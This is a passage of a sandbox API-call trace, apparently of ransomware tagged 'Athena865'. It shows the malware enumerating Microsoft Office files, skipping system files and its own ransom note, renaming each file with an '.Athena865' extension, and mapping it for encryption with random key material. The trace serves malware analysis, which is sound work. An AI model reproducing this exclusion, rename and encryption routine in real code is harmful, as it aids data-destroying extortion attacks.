Office\\Office14\\MSOSTYLE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msostyle.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSTYLE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msostyle.dll.athena865"), dwFlags=0x1) returned 1 [0077.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSTYLE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msostyle.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.178] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41880) returned 1 [0077.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.178] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.179] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.179] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.179] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa6a0, lpName=0x0) returned 0x17c [0077.181] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa6a0) returned 0x100000 [0077.183] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.183] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.183] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.184] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0077.184] CloseHandle (hObject=0x17c) returned 1 [0077.184] CloseHandle (hObject=0x154) returned 1 [0077.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.185] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd6297920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOSYNC.EXE", cAlternateFileName="")) returned 1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2=".") returned 1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="..") returned 1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="windows") returned -1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="bootmgr") returned 1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="temp") returned -1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="pagefile.sys") returned -1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="boot") returned 1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="ids.txt") returned 1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="ntuser.dat") returned -1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="perflogs") returned -1 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2="MSBuild") returned 1 [0077.185] lstrlenW (lpString="MSOSYNC.EXE") returned 11 [0077.185] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOSYNC.EXE" | out: lpString1="MSOSYNC.EXE") returned="MSOSYNC.EXE" [0077.185] lstrlenW (lpString="MSOSYNC.EXE") returned 11 [0077.185] lstrlenW (lpString="Athena865") returned 9 [0077.185] lstrcmpiW (lpString1="OSYNC.EXE", lpString2="Athena865") returned 1 [0077.185] lstrlenW (lpString=".dll") returned 4 [0077.185] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2=".dll") returned 1 [0077.185] lstrlenW (lpString=".lnk") returned 4 [0077.186] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2=".lnk") returned 1 [0077.186] lstrlenW (lpString=".ini") returned 4 [0077.186] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2=".ini") returned 1 [0077.186] lstrlenW (lpString=".sys") returned 4 [0077.186] lstrcmpiW (lpString1="MSOSYNC.EXE", lpString2=".sys") returned 1 [0077.186] lstrlenW (lpString="MSOSYNC.EXE") returned 11 [0077.186] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOSYNC.EXE.Athena865") returned 64 [0077.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSYNC.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msosync.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSYNC.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msosync.exe.athena865"), dwFlags=0x1) returned 1 [0077.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOSYNC.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msosync.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.187] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=909696) returned 1 [0077.187] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.188] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.188] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.188] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.189] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde480, lpName=0x0) returned 0x17c [0077.190] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xde480) returned 0x2d50000 [0077.221] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.222] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.222] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.223] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.230] CloseHandle (hObject=0x17c) returned 1 [0077.230] CloseHandle (hObject=0x154) returned 1 [0077.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.234] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd62e3be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x77978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOUC.EXE", cAlternateFileName="")) returned 1 [0077.234] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.234] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.234] lstrcmpiW (lpString1="MSOUC.EXE", lpString2=".") returned 1 [0077.234] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="..") returned 1 [0077.234] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="windows") returned -1 [0077.234] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="bootmgr") returned 1 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="temp") returned -1 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="pagefile.sys") returned -1 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="boot") returned 1 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="ids.txt") returned 1 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="ntuser.dat") returned -1 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="perflogs") returned -1 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2="MSBuild") returned 1 [0077.235] lstrlenW (lpString="MSOUC.EXE") returned 9 [0077.235] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOUC.EXE" | out: lpString1="MSOUC.EXE") returned="MSOUC.EXE" [0077.235] lstrlenW (lpString="MSOUC.EXE") returned 9 [0077.235] lstrlenW (lpString="Athena865") returned 9 [0077.235] lstrlenW (lpString=".dll") returned 4 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2=".dll") returned 1 [0077.235] lstrlenW (lpString=".lnk") returned 4 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2=".lnk") returned 1 [0077.235] lstrlenW (lpString=".ini") returned 4 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2=".ini") returned 1 [0077.235] lstrlenW (lpString=".sys") returned 4 [0077.235] lstrcmpiW (lpString1="MSOUC.EXE", lpString2=".sys") returned 1 [0077.235] lstrlenW (lpString="MSOUC.EXE") returned 9 [0077.235] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOUC.EXE.Athena865") returned 62 [0077.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUC.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msouc.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUC.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msouc.exe.athena865"), dwFlags=0x1) returned 1 [0077.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUC.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msouc.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.239] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=489848) returned 1 [0077.239] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.239] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.239] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.239] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.240] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.240] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.240] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x77c80, lpName=0x0) returned 0x17c [0077.242] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x77c80) returned 0x2d50000 [0077.383] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.384] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.384] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.385] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.389] CloseHandle (hObject=0x17c) returned 1 [0077.389] CloseHandle (hObject=0x154) returned 1 [0077.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.392] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x593c7cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65d78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOUTL.OLB", cAlternateFileName="")) returned 1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2=".") returned 1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="..") returned 1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="windows") returned -1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="bootmgr") returned 1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="temp") returned -1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="pagefile.sys") returned -1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="boot") returned 1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="ids.txt") returned 1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="ntuser.dat") returned -1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="perflogs") returned -1 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2="MSBuild") returned 1 [0077.392] lstrlenW (lpString="MSOUTL.OLB") returned 10 [0077.392] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOUTL.OLB" | out: lpString1="MSOUTL.OLB") returned="MSOUTL.OLB" [0077.392] lstrlenW (lpString="MSOUTL.OLB") returned 10 [0077.392] lstrlenW (lpString="Athena865") returned 9 [0077.392] lstrcmpiW (lpString1="SOUTL.OLB", lpString2="Athena865") returned 1 [0077.392] lstrlenW (lpString=".dll") returned 4 [0077.392] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2=".dll") returned 1 [0077.393] lstrlenW (lpString=".lnk") returned 4 [0077.393] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2=".lnk") returned 1 [0077.393] lstrlenW (lpString=".ini") returned 4 [0077.393] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2=".ini") returned 1 [0077.393] lstrlenW (lpString=".sys") returned 4 [0077.393] lstrcmpiW (lpString1="MSOUTL.OLB", lpString2=".sys") returned 1 [0077.393] lstrlenW (lpString="MSOUTL.OLB") returned 10 [0077.393] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB.Athena865") returned 63 [0077.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb.athena865"), dwFlags=0x1) returned 1 [0077.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msoutl.olb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.394] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=417144) returned 1 [0077.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.395] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.396] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.396] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.396] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x66080, lpName=0x0) returned 0x17c [0077.397] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x66080) returned 0x2d50000 [0077.433] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.433] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.434] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.434] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.438] CloseHandle (hObject=0x17c) returned 1 [0077.438] CloseHandle (hObject=0x154) returned 1 [0077.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.440] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd6309d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x45578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOUTLS.DLL", cAlternateFileName="")) returned 1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2=".") returned 1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="..") returned 1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="windows") returned -1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="bootmgr") returned 1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="temp") returned -1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="pagefile.sys") returned -1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="boot") returned 1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="ids.txt") returned 1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="ntuser.dat") returned -1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="perflogs") returned -1 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2="MSBuild") returned 1 [0077.440] lstrlenW (lpString="MSOUTLS.DLL") returned 11 [0077.440] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOUTLS.DLL" | out: lpString1="MSOUTLS.DLL") returned="MSOUTLS.DLL" [0077.440] lstrlenW (lpString="MSOUTLS.DLL") returned 11 [0077.440] lstrlenW (lpString="Athena865") returned 9 [0077.440] lstrcmpiW (lpString1="OUTLS.DLL", lpString2="Athena865") returned 1 [0077.440] lstrlenW (lpString=".dll") returned 4 [0077.440] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2=".dll") returned 1 [0077.441] lstrlenW (lpString=".lnk") returned 4 [0077.441] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2=".lnk") returned 1 [0077.441] lstrlenW (lpString=".ini") returned 4 [0077.441] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2=".ini") returned 1 [0077.441] lstrlenW (lpString=".sys") returned 4 [0077.441] lstrcmpiW (lpString1="MSOUTLS.DLL", lpString2=".sys") returned 1 [0077.441] lstrlenW (lpString="MSOUTLS.DLL") returned 11 [0077.441] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTLS.DLL.Athena865") returned 64 [0077.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTLS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msoutls.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTLS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msoutls.dll.athena865"), dwFlags=0x1) returned 1 [0077.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 